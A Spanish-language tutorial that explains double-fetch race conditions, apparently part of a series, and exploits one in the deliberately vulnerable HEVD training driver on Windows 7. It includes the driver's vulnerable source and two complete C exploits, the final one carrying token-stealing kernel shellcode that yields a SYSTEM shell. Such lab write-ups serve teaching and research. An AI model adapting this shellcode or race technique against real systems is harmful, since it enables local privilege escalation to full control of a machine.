En el último tutorial explotamos una vulnerabilidad de Type Confusion contra Windows 11 (x64). En este tutorial, presentaremos un nuevo tipo de vulnerabilidad: una Condición de carrera o Race Condition, más específicamente, un Double Fetch!

Al igual que en los tutoriales anteriores, la introducción a este tipo de vulnerabilidad lo vamos a ser dentro de Windows 7 (x86).

Table of Contents

Qué es una Condición de Carrera (Alto Nivel)

Condicións de carrera o Race Conditions son una de las vulnerabilidades mas poderosas y complicadas que un atacador puede aprovechar. Como que fue ayer cuando Dirty Cow fue publicado - una vulnerabilidad que afectó a TODOS los sistemas basados ​​en Linux que utilizaban versiones anteriores del kernel.

Con toda honestidad, antes de tomar el curso de RET2 Wargames, estos tipos de vulnerabilidades, incluso en un nivel alto, parecían completamente inaccesibles. Haré todo lo posible para ofrecer una buena descripción general de las causas de estas tipo de vulnerabilidades. Sin embargo, si de este tutorial sales confundido te recomiendo RET2 Wargames.

Con eso, pasemos a una descripción general de alto nivel.

Para nuestro ejemplo no técnico, veremos un juego con el que quizás estés familiarizado llamado Overcooked. En este juego, tú y tus amigos son responsables de cocinar comidas y hay límites de tiempo, en el juego tenéis que trabajar juntos para completar las ordenes rápidamente. Puedes imaginar que intenso se pone….

Tú y tus amigos a muchas veces estan tirandoan ingredientes a la misma olla.

Como se muestra en la imagen de abajo, varios jugadores están preparando sopas:

alt text

Dentro de esta imagen vemos que se están haciendo dos sopas una sopa de cebolla y una sopa de tomate. También vemos a cuatro jugadores:

  1. Un payaso
  2. Un ajolote
  3. Un loro
  4. Una mujer

Digamos que el jugador de ajolote es un troll y le gusta causar problemas. Vemos al ajolote agarrando una cebolla y vemos al loro cortando un tomate. Además vemos al payaso agarrando un tomate.

Para cumplir la orden, la segunda sopa necesita un tomate.

Tanto el ajolote como el loro desean arrojar sus ingredientes a la olla, sin embargo, cada ingrediente tendrá un resultado diferente.

  • Si el tomate llega a la olla, el equipo completará la orden
  • Si la cebolla llega a la olla, el equipo tendrá que tirar la sopa y empezar de nuevo, posiblemente perdiendo la orden.

El ajolote sabe que cada uno del equipo tiene un rol respectivo, sin embargo, el ajolote busca una vulnerabilidad en la forma en que se prepara la comida para poder explotarla (Race Condition). Como las siguientes dos sopas son de cebolla, el ajolote le dice al loro que le corte la cebolla.

Dado que todos los jugadores intentan dar las órdenes al mismo tiempo, se presenta una ventana de oportunidad para el ajolote. Si el loro está leyendo las órdenes y leyendo lo que la olla necesita, puede ser demasiado lento para darse cuenta de lo que el ajolote planea hacer (o más bien arrojar a la olla).

El ajolote decide aprovechar esto y manipula la sopa…

Qué tiene esto que ver con los Race Conditions?

  • Puedes pensar en cada jugador como un thread. Todos estos thread funcionan en paralelo y afectan a un recurso compartido (la olla).
  • El Race Condition en este ejemplo ocurre cuando dos “threads” (jugadores) intentan modificar el recurso compartido al mismo tiempo; el ingrediente que se echa a la olla determina el resultado. Si la cebolla entra, es una explotación por parte del ajolote.

En términos técnicos, un Race Condition ocurre cuando dos o más procesos o threads concurrentes intentan modificar o acceder a recursos compartidos simultáneamente, lo que genera consecuencias impredecibles o no deseadas.

  • Qué pasa si varios threads son responsables de las liberaciones?
  • Qué pasa si varios threads son responsables de las asignaciones?
  • Qué pasa si varios threads deciden qué camino toma una aplicación?

Como puedes imaginar, los límites de los Race Conditions son infinitos.

Empecemos!

Usando el Código

Primero necesitamos identificar codigo para esta vulnerabilidad.

$ ls -l | grep Double
-rw-r--r-- 1 wetw0rk wetw0rk  5801 Nov 18 12:32 DoubleFetch.c
-rw-r--r-- 1 wetw0rk wetw0rk  2408 Nov 18 12:32 DoubleFetch.h

El código nos dice que usaremos las siguientes estructuras y llamadas:

// DoubleFetch.h
 62 typedef struct _DOUBLE_FETCH
 63 {
 64     PVOID Buffer;
 65     SIZE_T Size;
 66 } DOUBLE_FETCH, *PDOUBLE_FETCH;

// DoubleFetch.c
  DoubleFetchIoctlHandler()
    TriggerDoubleFetch()

DoubleFetchIoctlHandler

Dentro de este controlador, podemos ver que nuestra entrada se convierte en un puntero de estructura para el tipo _DOUBLE_FETCH. Desde allí, nuestra entrada transmitida se envía a la función TriggerDoubleFetch().

156 NTSTATUS
157 DoubleFetchIoctlHandler(
158     _In_ PIRP Irp,
159     _In_ PIO_STACK_LOCATION IrpSp
160 )   
161 {   
162     PDOUBLE_FETCH UserDoubleFetch = NULL;
163     NTSTATUS Status = STATUS_UNSUCCESSFUL;
164     
165     UNREFERENCED_PARAMETER(Irp);
166     PAGED_CODE();
167 
168     UserDoubleFetch = (PDOUBLE_FETCH)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
169 
170     if (UserDoubleFetch)
171     {
172         Status = TriggerDoubleFetch(UserDoubleFetch);
173     }
174 
175     return Status;
176 }

TriggerDoubleFetch

TriggerDoubleFetch es donde empezamos a ver una operación más “complicada”.

 63 __declspec(safebuffers)
 64 NTSTATUS
 65 TriggerDoubleFetch(
 66     _In_ PDOUBLE_FETCH UserDoubleFetch
 67 )
 68 {
 69     NTSTATUS Status = STATUS_SUCCESS; 
 70     ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 71 
 72 #ifdef SECURE
 73     PVOID UserBuffer = NULL;
 74     SIZE_T UserBufferSize = 0;
 75 #endif
 76 
 77     PAGED_CODE();
 78 
 79     __try
 80     {
 81         //
 82         // Verify if the buffer resides in user mode
 83         //
 84 
 85         ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
 86 
 87         DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
 88         DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
 89         DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 90 
 91 #ifdef SECURE
 92         UserBuffer = UserDoubleFetch->Buffer;
 93         UserBufferSize = UserDoubleFetch->Size;
 94 
 95         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
 96         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
 97 
 98         if (UserBufferSize > sizeof(KernelBuffer))
 99         {
100             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101 
102             Status = STATUS_INVALID_PARAMETER;
103             return Status;
104         }
105 
106         //
107         // Secure Note: This is secure because the developer is fetching
108         // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109         // mode just once and storing it in a temporary variable. Later, this
110         // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111         // will be no race condition
112         //
113 
114         RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
115 #else
116         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118 
119         if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120         {   
121             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122             
123             Status = STATUS_INVALID_PARAMETER;
124             return Status;
125         }
126         
127         DbgPrint("[+] Triggering Double Fetch\n");
128         
129         //
130         // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131         // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132         // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133         // This creates a race condition and the size check could be bypassed which will later
134         // cause stack based buffer overflow
135         //
136         
137         RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139     }
140     __except (EXCEPTION_EXECUTE_HANDLER)
141     {   
142         Status = GetExceptionCode();
143         DbgPrint("[-] Exception Code: 0x%X\n", Status);
144     }
145     
146     return Status;
147 }

Analicemos esto.

Comenzando en las líneas 63-90, vemos que se está utilizando un búfer con un tamaño total de 512 bytes para KernelBuffer (este tamaño se puede obtener de la definición BUFFER_SIZE en Common.h).

 63 __declspec(safebuffers)
 64 NTSTATUS
 65 TriggerDoubleFetch(
 66     _In_ PDOUBLE_FETCH UserDoubleFetch
 67 )
 68 {
 69     NTSTATUS Status = STATUS_SUCCESS; 
 70     ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 71 
 72 #ifdef SECURE
 73     PVOID UserBuffer = NULL;
 74     SIZE_T UserBufferSize = 0;
 75 #endif
 76 
 77     PAGED_CODE();
 78 
 79     __try
 80     {
 81         //
 82         // Verify if the buffer resides in user mode
 83         //
 84 
 85         ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
 86 
 87         DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
 88         DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
 89         DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 90 
 91 #ifdef SECURE
 92         UserBuffer = UserDoubleFetch->Buffer;
 93         UserBufferSize = UserDoubleFetch->Size;
 94 
 95         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
 96         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
 97 
 98         if (UserBufferSize > sizeof(KernelBuffer))
 99         {
100             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101 
102             Status = STATUS_INVALID_PARAMETER;
103             return Status;
104         }
105 
106         //
107         // Secure Note: This is secure because the developer is fetching
108         // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109         // mode just once and storing it in a temporary variable. Later, this
110         // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111         // will be no race condition
112         //
113 
114         RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);

Líneas 115-147 empezamos a ver la vulnerabilidad. Podemos ver que si el tamaño del miembro Size de la estructura _DOUBLE_FETCH es mayor que el tamaño de sizeof(KernelBuffer), el controlador devolverá.

De lo contrario llegamos a la llamada a la función RtlCopyMemory().

115 #else
116         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118 
119         if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120         {
121             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122 
123             Status = STATUS_INVALID_PARAMETER;
124             return Status;
125         }
126 
127         DbgPrint("[+] Triggering Double Fetch\n");
128 
129         //
130         // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131         // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132         // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133         // This creates a race condition and the size check could be bypassed which will later
134         // cause stack based buffer overflow
135         //
136 
137         RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139     }
140     __except (EXCEPTION_EXECUTE_HANDLER)
141     {
142         Status = GetExceptionCode();
143         DbgPrint("[-] Exception Code: 0x%X\n", Status);
144     }
145 
146     return Status;
147 }

Teoría

Al observar la estructura, podemos simplemente pasar un puntero a un búfer grande y establecer el tamaño en algo pequeño? Por supuesto que tenemos que hacer esto en el momento perfecto…

Quizás podamos enviar algo como esto:

+-----------+---------------------------------+
| Thread #1 | Spam DOUBLE_FETCH.Size (0x10)   |
+-----------+---------------------------------+
| Thread #2 | Spam DOUBLE_FETCH.Size (0x1000) |
+-----------+---------------------------------+

Creando un PoC

Con un plan de ataque sólido implementado, podemos comenzar a elaborar un PoC como se ve abajo.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)

/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
  PVOID Buffer;
  SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

/* Structure for threads */
typedef struct _IRP_ARGS
{
  HANDLE hHEVD;
  PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;

/* Max threads */
#define NUM_THREADS 5

/* Exploit Buffer */
#define BUFFER 0x1000

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* TriggerRaceCondition():
     Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm
     at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  while (1) {
    pIrpArgs->pDoubleFetch->Size = BUFFER;
  }

  return 0;
}

/* TriggerWorkingCondition():
     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
     condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
  DWORD dwBytesReturned = 0;
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
                                                                  pIrpArgs->pDoubleFetch->Size);
  while (1)
  {
    pIrpArgs->pDoubleFetch->Size = 0x10;
    
    DeviceIoControl(pIrpArgs->hHEVD,
                    HEVD_IOCTL_DOUBLE_FETCH,
                    pIrpArgs->pDoubleFetch,
                    sizeof(DOUBLE_FETCH),
                    NULL,
                    0x00,
                    &dwBytesReturned,
                    NULL);
  }

  return 0;
}

/* GenerateExploitBuffer():
     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
void GenerateExploitBuffer(LPVOID lpvBuffer)
{
  uint32_t *payload = (uint32_t *)(lpvBuffer);

  for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
  {
    *payload++ = 0x41414141;
  }
}

/* Exploit():
     Double Fetch */
int Exploit(HANDLE hHEVD)
{
  LPVOID lpvMemoryAllocation = NULL;
  HANDLE hThreadWork[NUM_THREADS] = { 0 };
  HANDLE hThreadRace[NUM_THREADS] = { 0 };
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     BUFFER,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);

  /* Fill up the buffer */
  GenerateExploitBuffer(lpvMemoryAllocation);
  
  /* Setup the Double Fetch object */
  pDoubleFetchObject->Buffer = lpvMemoryAllocation;
  pDoubleFetchObject->Size = 0;

  /* Setup the base IRP argument(s) */
  pIrpArgs->hHEVD = hHEVD;
  pIrpArgs->pDoubleFetch = pDoubleFetchObject;

  /* Start the race!! */
  printf("[*] Off to the races\n");
  for (int i = 0; i < NUM_THREADS; i++)
  {
    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0, NULL);
  }

  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);

  for (int i = 0; i < NUM_THREADS; i++)
  {
    TerminateThread(hThreadWork[i], 0);
    CloseHandle(hThreadWork[i]);

    TerminateThread(hThreadRace[i], 0);
    CloseHandle(hThreadRace[i]);
  }

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Una vez que se envía el búfer, se produce el siguiente choque:

alt text

Si nosotros !analyze -v esto, vemos lo siguiente:

alt text

Según mi experiencia con HEVD, esto normalmente significa que nuestro búfer es tan grande que dañamos la memoria, lo que nos permite sobrescribir la dirección de retorno limpia. Entonces la solución aquí es enviar un búfer más pequeño. En honor a 2600 decidí enviar 2600 bytes!

alt text

Una vez enviado, tenemos control sobre el puntero de instrucciones!

Explotación

Después de jugar con el codigo un poco, desarrollé lo siguiente:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)

/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
  PVOID Buffer;
  SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

/* Structure for threads */
typedef struct _IRP_ARGS
{
  HANDLE hHEVD;
  PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;

/* Max threads */
#define NUM_THREADS 5

/* Exploit Buffer */
#define BUFFER 2084

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* TriggerRaceCondition():
     Since driver reads from userland twice we can overwrite the existing condition that bypasses the check
     at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  while (1) {
    pIrpArgs->pDoubleFetch->Size = BUFFER;
  }

  return 0;
}

/* TriggerWorkingCondition():
     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
     condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
  DWORD dwBytesReturned = 0;
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
                                                                  pIrpArgs->pDoubleFetch->Size);
  while (1)
  {
    pIrpArgs->pDoubleFetch->Size = 0x10;
    
    DeviceIoControl(pIrpArgs->hHEVD,
                    HEVD_IOCTL_DOUBLE_FETCH,
                    pIrpArgs->pDoubleFetch,
                    sizeof(DOUBLE_FETCH),
                    NULL,
                    0x00,
                    &dwBytesReturned,
                    NULL);
  }

  return 0;
}

/* GenerateExploitBuffer():
     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvBuffer)
{
  uint32_t *payload = (uint32_t *)(lpvBuffer);
  LPVOID lpvShellcode = NULL;

  char shellcode[]=
  // sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint
  "\x60"                         // pushal 
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  /* RETURN CODE */
  "\x5d"          // POP EBP
  "\xc2\x08\x00"; // RET 0x08

  lpvShellcode = VirtualAlloc(NULL, 57, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
  if (lpvShellcode == NULL) {
    printf("[-] Failed to generate shellcode allocation\n");
    return -1;
  }

  printf("[*] Copying shellcode to allocated memory region\n");
  memcpy(lpvShellcode, shellcode, 57);

  for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
  {
    *payload++ = (uint32_t)lpvShellcode;
  }

  return 0;
}

/* Exploit():
     Double Fetch */
DWORD Exploit(HANDLE hHEVD)
{
  LPVOID lpvMemoryAllocation = NULL;
  HANDLE hThreadWork[NUM_THREADS] = { 0 };
  HANDLE hThreadRace[NUM_THREADS] = { 0 };
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     BUFFER,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);

  /* Fill up the buffer */
  printf("[*] Successfully allocated exploitation buffer\n");
  if (GenerateExploitBuffer(lpvMemoryAllocation) == -1) {
    return -1;
  }
  
  /* Setup the Double Fetch object */
  pDoubleFetchObject->Buffer = lpvMemoryAllocation;
  pDoubleFetchObject->Size = 0;

  /* Setup the base IRP argument(s) */
  pIrpArgs->hHEVD = hHEVD;
  pIrpArgs->pDoubleFetch = pDoubleFetchObject;

  /* Start the race!! */
  printf("[*] Off to the races\n");
  for (int i = 0; i < NUM_THREADS; i++)
  {
    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0, NULL);
  }

  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 1000);

  for (int i = 0; i < NUM_THREADS; i++)
  {
    TerminateThread(hThreadWork[i], 0);
    CloseHandle(hThreadWork[i]);

    TerminateThread(hThreadRace[i], 0);
    CloseHandle(hThreadRace[i]);
  }

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Una vez enviado, podemos ver que hemos explotado el Double Fetch (Race Condition)!

alt text

Recursos

https://www.kn0sky.com/?p=194